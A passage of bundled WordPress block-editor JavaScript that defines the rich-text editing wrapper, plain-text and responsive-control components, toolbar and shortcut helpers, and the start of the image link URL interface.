61479 (select) => {
61480 if (!blockBindings?.[identifier] || !bindableAttributes) {
61481 return {};
61482 }
61483 const relatedBinding = blockBindings[identifier];
61484 const blockBindingsSource = (0,external_wp_blocks_namespaceObject.getBlockBindingsSource)(
61485 relatedBinding.source
61486 );
61487 const blockBindingsContext = {};
61488 if (blockBindingsSource?.usesContext?.length) {
61489 for (const key of blockBindingsSource.usesContext) {
61490 blockBindingsContext[key] = blockContext[key];
61491 }
61492 }
61493 const _disableBoundBlock = !blockBindingsSource?.canUserEditValue?.({
61494 select,
61495 context: blockBindingsContext,
61496 args: relatedBinding.args
61497 });
61498 if (adjustedValue.length > 0) {
61499 return {
61500 disableBoundBlock: _disableBoundBlock,
61501 // Null values will make them fall back to the default behavior.
61502 bindingsPlaceholder: null,
61503 bindingsLabel: null
61504 };
61505 }
61506 const { getBlockAttributes } = select(store);
61507 const blockAttributes = getBlockAttributes(clientId);
61508 let clientSideFieldLabel = null;
61509 if (blockBindingsSource?.getFieldsList) {
61510 const fieldsItems = blockBindingsSource.getFieldsList({
61511 select,
61512 context: blockBindingsContext
61513 });
61514 clientSideFieldLabel = fieldsItems?.find(
61515 (item) => es6_default()(item.args, relatedBinding?.args)
61516 )?.label;
61517 }
61518 const bindingKey = clientSideFieldLabel ?? blockBindingsSource?.label;
61519 const _bindingsPlaceholder = _disableBoundBlock ? bindingKey : (0,external_wp_i18n_namespaceObject.sprintf)(
61520 /* translators: %s: connected field label or source label */
61521 (0,external_wp_i18n_namespaceObject.__)("Add %s"),
61522 bindingKey
61523 );
61524 const _bindingsLabel = _disableBoundBlock ? relatedBinding?.args?.key || blockBindingsSource?.label : (0,external_wp_i18n_namespaceObject.sprintf)(
61525 /* translators: %s: source label or key */
61526 (0,external_wp_i18n_namespaceObject.__)("Empty %s; start writing to edit its value"),
61527 relatedBinding?.args?.key || blockBindingsSource?.label
61528 );
61529 return {
61530 disableBoundBlock: _disableBoundBlock,
61531 bindingsPlaceholder: blockAttributes?.placeholder || _bindingsPlaceholder,
61532 bindingsLabel: _bindingsLabel
61533 };
61534 },
61535 [
61536 blockBindings,
61537 identifier,
61538 bindableAttributes,
61539 adjustedValue,
61540 clientId,
61541 blockContext
61542 ]
61543 );
61544 const isInsidePatternOverrides = !!blockContext?.["pattern/overrides"];
61545 const hasOverrideEnabled = blockBindings?.__default?.source === "core/pattern-overrides";
61546 const shouldDisableForPattern = isInsidePatternOverrides && !hasOverrideEnabled;
61547 const shouldDisableEditing = readOnly || disableBoundBlock || shouldDisableForPattern;
61548 const { getSelectionStart, getSelectionEnd, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
61549 const { selectionChange } = (0,external_wp_data_namespaceObject.useDispatch)(store);
61550 const adjustedAllowedFormats = getAllowedFormats({
61551 allowedFormats,
61552 disableFormats
61553 });
61554 const hasFormats = !adjustedAllowedFormats || adjustedAllowedFormats.length > 0;
61555 const onSelectionChange = (0,external_wp_element_namespaceObject.useCallback)(
61556 (start, end) => {
61557 const selection = {};
61558 const unset = start === void 0 && end === void 0;
61559 const baseSelection = {
61560 clientId,
61561 [identifier ? "attributeKey" : instanceIdKey]: identifier ? identifier : instanceId
61562 };
61563 if (typeof start === "number" || unset) {
61564 if (end === void 0 && getBlockRootClientId(clientId) !== getBlockRootClientId(getSelectionEnd().clientId)) {
61565 return;
61566 }
61567 selection.start = {
61568 ...baseSelection,
61569 offset: start
61570 };
61571 }
61572 if (typeof end === "number" || unset) {
61573 if (start === void 0 && getBlockRootClientId(clientId) !== getBlockRootClientId(getSelectionStart().clientId)) {
61574 return;
61575 }
61576 selection.end = {
61577 ...baseSelection,
61578 offset: end
61579 };
61580 }
61581 selectionChange(selection);
61582 },
61583 [
61584 clientId,
61585 getBlockRootClientId,
61586 getSelectionEnd,
61587 getSelectionStart,
61588 identifier,
61589 instanceId,
61590 selectionChange
61591 ]
61592 );
61593 const {
61594 formatTypes,
61595 prepareHandlers,
61596 valueHandlers,
61597 changeHandlers,
61598 dependencies
61599 } = useFormatTypes({
61600 clientId,
61601 identifier,
61602 withoutInteractiveFormatting,
61603 allowedFormats: adjustedAllowedFormats
61604 });
61605 function addEditorOnlyFormats(value2) {
61606 return valueHandlers.reduce(
61607 (accumulator, fn) => fn(accumulator, value2.text),
61608 value2.formats
61609 );
61610 }
61611 function removeEditorOnlyFormats(value2) {
61612 formatTypes.forEach((formatType) => {
61613 if (formatType.__experimentalCreatePrepareEditableTree) {
61614 value2 = (0,external_wp_richText_namespaceObject.removeFormat)(
61615 value2,
61616 formatType.name,
61617 0,
61618 value2.text.length
61619 );
61620 }
61621 });
61622 return value2.formats;
61623 }
61624 function addInvisibleFormats(value2) {
61625 return prepareHandlers.reduce(
61626 (accumulator, fn) => fn(accumulator, value2.text),
61627 value2.formats
61628 );
61629 }
61630 const {
61631 value,
61632 getValue,
61633 onChange,
61634 ref: richTextRef
61635 } = (0,external_wp_richText_namespaceObject.__unstableUseRichText)({
61636 value: adjustedValue,
61637 onChange(html, { __unstableFormats, __unstableText }) {
61638 adjustedOnChange(html);
61639 Object.values(changeHandlers).forEach((changeHandler) => {
61640 changeHandler(__unstableFormats, __unstableText);
61641 });
61642 },
61643 selectionStart,
61644 selectionEnd,
61645 onSelectionChange,
61646 placeholder: bindingsPlaceholder || placeholder,
61647 __unstableIsSelected: isSelected,
61648 __unstableDisableFormats: disableFormats,
61649 preserveWhiteSpace,
61650 __unstableDependencies: [...dependencies, tagName],
61651 __unstableAfterParse: addEditorOnlyFormats,
61652 __unstableBeforeSerialize: removeEditorOnlyFormats,
61653 __unstableAddInvisibleFormats: addInvisibleFormats
61654 });
61655 const autocompleteProps = useBlockEditorAutocompleteProps({
61656 onReplace,
61657 completers: autocompleters,
61658 record: value,
61659 onChange
61660 });
61661 useMarkPersistent({ html: adjustedValue, value });
61662 const keyboardShortcuts = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
61663 const inputEvents = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
61664 function onFocus() {
61665 anchorRef.current?.focus();
61666 }
61667 const TagName = tagName;
61668 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
61669 isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(keyboardShortcutContext.Provider, { value: keyboardShortcuts, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(inputEventContext.Provider, { value: inputEvents, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Popover.__unstableSlotNameProvider, { value: "__unstable-block-tools-after", children: [
61670 children && children({ value, onChange, onFocus }),
61671 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61672 FormatEdit,
61673 {
61674 value,
61675 onChange,
61676 onFocus,
61677 formatTypes,
61678 forwardedRef: anchorRef
61679 }
61680 )
61681 ] }) }) }),
61682 isSelected && hasFormats && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61683 format_toolbar_container_default,
61684 {
61685 inline: inlineToolbar,
61686 editableContentElement: anchorRef.current
61687 }
61688 ),
61689 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61690 TagName,
61691 {
61692 role: "textbox",
61693 "aria-multiline": !disableLineBreaks,
61694 "aria-readonly": shouldDisableEditing,
61695 ...props,
61696 draggable: void 0,
61697 "aria-label": bindingsLabel || props["aria-label"] || placeholder,
61698 ...autocompleteProps,
61699 ref: (0,external_wp_compose_namespaceObject.useMergeRefs)([
61700 // Rich text ref must be first because its focus listener
61701 // must be set up before any other ref calls .focus() on
61702 // mount.
61703 richTextRef,
61704 forwardedRef,
61705 autocompleteProps.ref,
61706 props.ref,
61707 useEventListeners({
61708 registry,
61709 getValue,
61710 onChange,
61711 __unstableAllowPrefixTransformations,
61712 formatTypes,
61713 onReplace,
61714 selectionChange,
61715 isSelected,
61716 disableFormats,
61717 value,
61718 tagName,
61719 onSplit,
61720 __unstableEmbedURLOnPaste,
61721 pastePlainText,
61722 onMerge,
61723 onRemove,
61724 removeEditorOnlyFormats,
61725 disableLineBreaks,
61726 onSplitAtEnd,
61727 onSplitAtDoubleLineEnd,
61728 keyboardShortcuts,
61729 inputEvents
61730 }),
61731 anchorRef
61732 ]),
61733 contentEditable: !shouldDisableEditing,
61734 suppressContentEditableWarning: true,
61735 className: dist_clsx(
61736 "block-editor-rich-text__editable",
61737 props.className,
61738 "rich-text"
61739 ),
61740 tabIndex: props.tabIndex === 0 && !shouldDisableEditing ? null : props.tabIndex,
61741 "data-wp-block-attribute-key": identifier
61742 }
61743 )
61744 ] });
61745}
61746const PrivateRichText = withDeprecations(
61747 (0,external_wp_element_namespaceObject.forwardRef)(RichTextWrapper)
61748);
61749PrivateRichText.Content = Content;
61750PrivateRichText.isEmpty = (value) => {
61751 return !value || value.length === 0;
61752};
61753const PublicForwardedRichTextContainer = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
61754 const context = useBlockEditContext();
61755 const isPreviewMode = context[isPreviewModeKey];
61756 if (isPreviewMode) {
61757 const {
61758 children,
61759 tagName: Tag = "div",
61760 value,
61761 onChange,
61762 isSelected,
61763 multiline,
61764 inlineToolbar,
61765 wrapperClassName,
61766 autocompleters,
61767 onReplace,
61768 placeholder,
61769 allowedFormats,
61770 withoutInteractiveFormatting,
61771 onRemove,
61772 onMerge,
61773 onSplit,
61774 __unstableOnSplitAtEnd,
61775 __unstableOnSplitAtDoubleLineEnd,
61776 identifier,
61777 preserveWhiteSpace,
61778 __unstablePastePlainText,
61779 __unstableEmbedURLOnPaste,
61780 __unstableDisableFormats,
61781 disableLineBreaks,
61782 __unstableAllowPrefixTransformations,
61783 readOnly,
61784 ...contentProps
61785 } = removeNativeProps(props);
61786 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61787 Tag,
61788 {
61789 ref,
61790 ...contentProps,
61791 dangerouslySetInnerHTML: {
61792 __html: valueToHTMLString(value, multiline)
61793 }
61794 }
61795 );
61796 }
61797 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivateRichText, { ref, ...props, readOnly: false });
61798});
61799PublicForwardedRichTextContainer.Content = Content;
61800PublicForwardedRichTextContainer.isEmpty = (value) => {
61801 return !value || value.length === 0;
61802};
61803var rich_text_default = PublicForwardedRichTextContainer;
61804
61805
61806
61807
61808
61809;// ./node_modules/@wordpress/block-editor/build-module/components/editable-text/index.js
61810
61811
61812
61813const EditableText = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
61814 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(rich_text_default, { ref, ...props, __unstableDisableFormats: true });
61815});
61816EditableText.Content = ({ value = "", tagName: Tag = "div", ...props }) => {
61817 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tag, { ...props, children: value });
61818};
61819var editable_text_default = EditableText;
61820
61821
61822;// ./node_modules/@wordpress/block-editor/build-module/components/plain-text/index.js
61823
61824
61825
61826
61827
61828const PlainText = (0,external_wp_element_namespaceObject.forwardRef)(({ __experimentalVersion, ...props }, ref) => {
61829 if (__experimentalVersion === 2) {
61830 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(editable_text_default, { ref, ...props });
61831 }
61832 const { className, onChange, ...remainingProps } = props;
61833 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61834 lib/* default */.A,
61835 {
61836 ref,
61837 className: dist_clsx("block-editor-plain-text", className),
61838 onChange: (event) => onChange(event.target.value),
61839 ...remainingProps
61840 }
61841 );
61842});
61843var plain_text_default = PlainText;
61844
61845
61846;// ./node_modules/@wordpress/block-editor/build-module/components/responsive-block-control/label.js
61847
61848
61849
61850
61851function ResponsiveBlockControlLabel({
61852 property,
61853 viewport,
61854 desc
61855}) {
61856 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(ResponsiveBlockControlLabel);
61857 const accessibleLabel = desc || (0,external_wp_i18n_namespaceObject.sprintf)(
61858 /* translators: 1: property name. 2: viewport name. */
61859 (0,external_wp_i18n_namespaceObject._x)(
61860 "Controls the %1$s property for %2$s viewports.",
61861 "Text labelling a interface as controlling a given layout property (eg: margin) for a given screen size."
61862 ),
61863 property,
61864 viewport.label
61865 );
61866 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
61867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { "aria-describedby": `rbc-desc-${instanceId}`, children: viewport.label }),
61868 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "span", id: `rbc-desc-${instanceId}`, children: accessibleLabel })
61869 ] });
61870}
61871
61872
61873;// ./node_modules/@wordpress/block-editor/build-module/components/responsive-block-control/index.js
61874
61875
61876
61877
61878
61879
61880function ResponsiveBlockControl(props) {
61881 const {
61882 title,
61883 property,
61884 toggleLabel,
61885 onIsResponsiveChange,
61886 renderDefaultControl,
61887 renderResponsiveControls,
61888 isResponsive = false,
61889 defaultLabel = {
61890 id: "all",
61891 label: (0,external_wp_i18n_namespaceObject._x)("All", "screen sizes")
61892 },
61893 viewports = [
61894 {
61895 id: "small",
61896 label: (0,external_wp_i18n_namespaceObject.__)("Small screens")
61897 },
61898 {
61899 id: "medium",
61900 label: (0,external_wp_i18n_namespaceObject.__)("Medium screens")
61901 },
61902 {
61903 id: "large",
61904 label: (0,external_wp_i18n_namespaceObject.__)("Large screens")
61905 }
61906 ]
61907 } = props;
61908 if (!title || !property || !renderDefaultControl) {
61909 return null;
61910 }
61911 const toggleControlLabel = toggleLabel || (0,external_wp_i18n_namespaceObject.sprintf)(
61912 /* translators: %s: Property value for the control (eg: margin, padding, etc.). */
61913 (0,external_wp_i18n_namespaceObject.__)("Use the same %s on all screen sizes."),
61914 property
61915 );
61916 const toggleHelpText = (0,external_wp_i18n_namespaceObject.__)(
61917 "Choose whether to use the same value for all screen sizes or a unique value for each screen size."
61918 );
61919 const defaultControl = renderDefaultControl(
61920 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61921 ResponsiveBlockControlLabel,
61922 {
61923 property,
61924 viewport: defaultLabel
61925 }
61926 ),
61927 defaultLabel
61928 );
61929 const defaultResponsiveControls = () => {
61930 return viewports.map((viewport) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, { children: renderDefaultControl(
61931 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61932 ResponsiveBlockControlLabel,
61933 {
61934 property,
61935 viewport
61936 }
61937 ),
61938 viewport
61939 ) }, viewport.id));
61940 };
61941 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-responsive-block-control", children: [
61942 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("legend", { className: "block-editor-responsive-block-control__title", children: title }),
61943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-responsive-block-control__inner", children: [
61944 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
61945 external_wp_components_namespaceObject.ToggleControl,
61946 {
61947 __nextHasNoMarginBottom: true,
61948 className: "block-editor-responsive-block-control__toggle",
61949 label: toggleControlLabel,
61950 checked: !isResponsive,
61951 onChange: onIsResponsiveChange,
61952 help: toggleHelpText
61953 }
61954 ),
61955 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
61956 "div",
61957 {
61958 className: dist_clsx(
61959 "block-editor-responsive-block-control__group",
61960 {
61961 "is-responsive": isResponsive
61962 }
61963 ),
61964 children: [
61965 !isResponsive && defaultControl,
61966 isResponsive && (renderResponsiveControls ? renderResponsiveControls(viewports) : defaultResponsiveControls())
61967 ]
61968 }
61969 )
61970 ] })
61971 ] });
61972}
61973var responsive_block_control_default = ResponsiveBlockControl;
61974
61975
61976;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/shortcut.js
61977
61978
61979
61980function RichTextShortcut({ character, type, onUse }) {
61981 const keyboardShortcuts = (0,external_wp_element_namespaceObject.useContext)(keyboardShortcutContext);
61982 const onUseRef = (0,external_wp_element_namespaceObject.useRef)();
61983 onUseRef.current = onUse;
61984 (0,external_wp_element_namespaceObject.useEffect)(() => {
61985 function callback(event) {
61986 if (external_wp_keycodes_namespaceObject.isKeyboardEvent[type](event, character)) {
61987 onUseRef.current();
61988 event.preventDefault();
61989 }
61990 }
61991 keyboardShortcuts.current.add(callback);
61992 return () => {
61993 keyboardShortcuts.current.delete(callback);
61994 };
61995 }, [character, type]);
61996 return null;
61997}
61998
61999
62000;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/toolbar-button.js
62001
62002
62003
62004function RichTextToolbarButton({
62005 name,
62006 shortcutType,
62007 shortcutCharacter,
62008 ...props
62009}) {
62010 let shortcut;
62011 let fillName = "RichText.ToolbarControls";
62012 if (name) {
62013 fillName += `.${name}`;
62014 }
62015 if (shortcutType && shortcutCharacter) {
62016 shortcut = external_wp_keycodes_namespaceObject.displayShortcut[shortcutType](shortcutCharacter);
62017 }
62018 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Fill, { name: fillName, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { ...props, shortcut }) });
62019}
62020
62021
62022;// ./node_modules/@wordpress/block-editor/build-module/components/rich-text/input-event.js
62023
62024
62025function __unstableRichTextInputEvent({ inputType, onInput }) {
62026 const callbacks = (0,external_wp_element_namespaceObject.useContext)(inputEventContext);
62027 const onInputRef = (0,external_wp_element_namespaceObject.useRef)();
62028 onInputRef.current = onInput;
62029 (0,external_wp_element_namespaceObject.useEffect)(() => {
62030 function callback(event) {
62031 if (event.inputType === inputType) {
62032 onInputRef.current();
62033 event.preventDefault();
62034 }
62035 }
62036 callbacks.current.add(callback);
62037 return () => {
62038 callbacks.current.delete(callback);
62039 };
62040 }, [inputType]);
62041 return null;
62042}
62043
62044
62045;// ./node_modules/@wordpress/block-editor/build-module/components/unit-control/index.js
62046
62047
62048
62049function UnitControl({ units: unitsProp, ...props }) {
62050 const [availableUnits] = use_settings_useSettings("spacing.units");
62051 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
62052 availableUnits: availableUnits || ["%", "px", "em", "rem", "vw"],
62053 units: unitsProp
62054 });
62055 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalUnitControl, { units, ...props });
62056}
62057
62058
62059;// ./node_modules/@wordpress/icons/build-module/library/arrow-left.js
62060
62061
62062var arrow_left_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z" }) });
62063
62064
62065;// ./node_modules/@wordpress/block-editor/build-module/components/url-input/button.js
62066
62067
62068
62069
62070
62071
62072function URLInputButton({ url, onChange }) {
62073 const [expanded, toggleExpanded] = (0,external_wp_element_namespaceObject.useReducer)(
62074 (isExpanded) => !isExpanded,
62075 false
62076 );
62077 const submitLink = (event) => {
62078 event.preventDefault();
62079 toggleExpanded();
62080 };
62081 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-url-input__button", children: [
62082 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62083 external_wp_components_namespaceObject.Button,
62084 {
62085 size: "compact",
62086 icon: link_default,
62087 label: url ? (0,external_wp_i18n_namespaceObject.__)("Edit link") : (0,external_wp_i18n_namespaceObject.__)("Insert link"),
62088 onClick: toggleExpanded,
62089 className: "components-toolbar__control",
62090 isPressed: !!url
62091 }
62092 ),
62093 expanded && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62094 "form",
62095 {
62096 className: "block-editor-url-input__button-modal",
62097 onSubmit: submitLink,
62098 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-url-input__button-modal-line", children: [
62099 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62100 external_wp_components_namespaceObject.Button,
62101 {
62102 __next40pxDefaultSize: true,
62103 className: "block-editor-url-input__back",
62104 icon: arrow_left_default,
62105 label: (0,external_wp_i18n_namespaceObject.__)("Close"),
62106 onClick: toggleExpanded
62107 }
62108 ),
62109 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62110 url_input_default,
62111 {
62112 value: url || "",
62113 onChange,
62114 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62115 external_wp_components_namespaceObject.Button,
62116 {
62117 size: "small",
62118 icon: keyboard_return_default,
62119 label: (0,external_wp_i18n_namespaceObject.__)("Submit"),
62120 type: "submit"
62121 }
62122 ) })
62123 }
62124 )
62125 ] })
62126 }
62127 )
62128 ] });
62129}
62130var button_default = URLInputButton;
62131
62132
62133;// ./node_modules/@wordpress/icons/build-module/library/image.js
62134
62135
62136var image_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z" }) });
62137
62138
62139;// ./node_modules/@wordpress/block-editor/build-module/components/url-popover/image-url-input-ui.js
62140
62141
62142
62143
62144
62145
62146
62147
62148const LINK_DESTINATION_NONE = "none";
62149const LINK_DESTINATION_CUSTOM = "custom";
62150const LINK_DESTINATION_MEDIA = "media";
62151const LINK_DESTINATION_ATTACHMENT = "attachment";
62152const NEW_TAB_REL = ["noreferrer", "noopener"];
62153const ImageURLInputUI = ({
62154 linkDestination,
62155 onChangeUrl,
62156 url,
62157 mediaType = "image",
62158 mediaUrl,
62159 mediaLink,
62160 linkTarget,
62161 linkClass,
62162 rel,
62163 showLightboxSetting,
62164 lightboxEnabled,
62165 onSetLightbox,
62166 resetLightbox
62167}) => {
62168 const [isOpen, setIsOpen] = (0,external_wp_element_namespaceObject.useState)(false);
62169 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
62170 const openLinkUI = () => {
62171 setIsOpen(true);
62172 };
62173 const [isEditingLink, setIsEditingLink] = (0,external_wp_element_namespaceObject.useState)(false);
62174 const [urlInput, setUrlInput] = (0,external_wp_element_namespaceObject.useState)(null);
62175 const autocompleteRef = (0,external_wp_element_namespaceObject.useRef)(null);
62176 const wrapperRef = (0,external_wp_element_namespaceObject.useRef)();
62177 (0,external_wp_element_namespaceObject.useEffect)(() => {
62178 if (!wrapperRef.current) {
62179 return;
62180 }
62181 const nextFocusTarget = external_wp_dom_namespaceObject.focus.focusable.find(wrapperRef.current)[0] || wrapperRef.current;
62182 nextFocusTarget.focus();
62183 }, [isEditingLink, url, lightboxEnabled]);
62184 const startEditLink = () => {
62185 if (linkDestination === LINK_DESTINATION_MEDIA || linkDestination === LINK_DESTINATION_ATTACHMENT) {
62186 setUrlInput("");
62187 }
62188 setIsEditingLink(true);
62189 };
62190 const stopEditLink = () => {
62191 setIsEditingLink(false);
62192 };
62193 const closeLinkUI = () => {
62194 setUrlInput(null);
62195 stopEditLink();
62196 setIsOpen(false);
62197 };
62198 const getUpdatedLinkTargetSettings = (value) => {
62199 const newLinkTarget = value ? "_blank" : void 0;
62200 let updatedRel;
62201 if (newLinkTarget) {
62202 const rels = (rel ?? "").split(" ");
62203 NEW_TAB_REL.forEach((relVal) => {
62204 if (!rels.includes(relVal)) {
62205 rels.push(relVal);
62206 }
62207 });
62208 updatedRel = rels.join(" ");
62209 } else {
62210 const rels = (rel ?? "").split(" ").filter(
62211 (relVal) => NEW_TAB_REL.includes(relVal) === false
62212 );
62213 updatedRel = rels.length ? rels.join(" ") : void 0;
62214 }
62215 return {
62216 linkTarget: newLinkTarget,
62217 rel: updatedRel
62218 };
62219 };
62220 const onFocusOutside = () => {
62221 return (event) => {
62222 const autocompleteElement = autocompleteRef.current;
62223 if (autocompleteElement && autocompleteElement.contains(event.target)) {
62224 return;
62225 }
62226 setIsOpen(false);
62227 setUrlInput(null);
62228 stopEditLink();
62229 };
62230 };
62231 const onSubmitLinkChange = () => {
62232 return (event) => {
62233 if (urlInput) {
62234 const selectedDestination = getLinkDestinations().find(
62235 (destination) => destination.url === urlInput
62236 )?.linkDestination || LINK_DESTINATION_CUSTOM;
62237 onChangeUrl({
62238 href: (0,external_wp_url_namespaceObject.prependHTTP)(urlInput),
62239 linkDestination: selectedDestination,
62240 lightbox: { enabled: false }
62241 });
62242 }
62243 stopEditLink();
62244 setUrlInput(null);
62245 event.preventDefault();
62246 };
62247 };
62248 const onLinkRemove = () => {
62249 onChangeUrl({
62250 linkDestination: LINK_DESTINATION_NONE,
62251 href: ""
62252 });
62253 };
62254 const getLinkDestinations = () => {
62255 const linkDestinations = [
62256 {
62257 linkDestination: LINK_DESTINATION_MEDIA,
62258 title: (0,external_wp_i18n_namespaceObject.__)("Link to image file"),
62259 url: mediaType === "image" ? mediaUrl : void 0,
62260 icon: image_default
62261 }
62262 ];
62263 if (mediaType === "image" && mediaLink) {
62264 linkDestinations.push({
62265 linkDestination: LINK_DESTINATION_ATTACHMENT,
62266 title: (0,external_wp_i18n_namespaceObject.__)("Link to attachment page"),
62267 url: mediaType === "image" ? mediaLink : void 0,
62268 icon: page_default
62269 });
62270 }
62271 return linkDestinations;
62272 };
62273 const onSetHref = (value) => {
62274 const linkDestinations = getLinkDestinations();
62275 let linkDestinationInput;
62276 if (!value) {
62277 linkDestinationInput = LINK_DESTINATION_NONE;
62278 } else {
62279 linkDestinationInput = (linkDestinations.find((destination) => {
62280 return destination.url === value;
62281 }) || { linkDestination: LINK_DESTINATION_CUSTOM }).linkDestination;
62282 }
62283 onChangeUrl({
62284 linkDestination: linkDestinationInput,
62285 href: value
62286 });
62287 };
62288 const onSetNewTab = (value) => {
62289 const updatedLinkTarget = getUpdatedLinkTargetSettings(value);
62290 onChangeUrl(updatedLinkTarget);
62291 };
62292 const onSetLinkRel = (value) => {
62293 onChangeUrl({ rel: value });
62294 };
62295 const onSetLinkClass = (value) => {
62296 onChangeUrl({ linkClass: value });
62297 };
62298 const advancedOptions = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "3", children: [
62299 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62300 external_wp_components_namespaceObject.ToggleControl,
62301 {
62302 __nextHasNoMarginBottom: true,
62303 label: (0,external_wp_i18n_namespaceObject.__)("Open in new tab"),
62304 onChange: onSetNewTab,
62305 checked: linkTarget === "_blank"
62306 }
62307 ),
62308 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62309 external_wp_components_namespaceObject.TextControl,
62310 {
62311 __next40pxDefaultSize: true,
62312 __nextHasNoMarginBottom: true,
62313 label: (0,external_wp_i18n_namespaceObject.__)("Link relation"),
62314 value: rel ?? "",
62315 onChange: onSetLinkRel,
62316 help: (0,external_wp_element_namespaceObject.createInterpolateElement)(
62317 (0,external_wp_i18n_namespaceObject.__)(
62318 "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
62319 ),
62320 {
62321 a: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
62322 }
62323 )
62324 }
62325 ),
62326 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
62327 external_wp_components_namespaceObject.TextControl,
62328 {
62329 __next40pxDefaultSize: true,
62330 __nextHasNoMarginBottom: true,
62331 label: (0,external_wp_i18n_namespaceObject.__)("Link CSS class"),
62332 value: linkClass || "",
62333 onChange: onSetLinkClass
62334 }
62335 )
62336 ] });
62337 const linkEditorValue = urlInput !== null ? urlInput : url;
62338 const hideLightboxPanel = !lightboxEnabled || lightboxEnabled && !showLightboxSetting;
62339 const showLinkEditor = !linkEditorValue && hideLightboxPanel;
62340 const urlLabel = (getLinkDestinations().find(
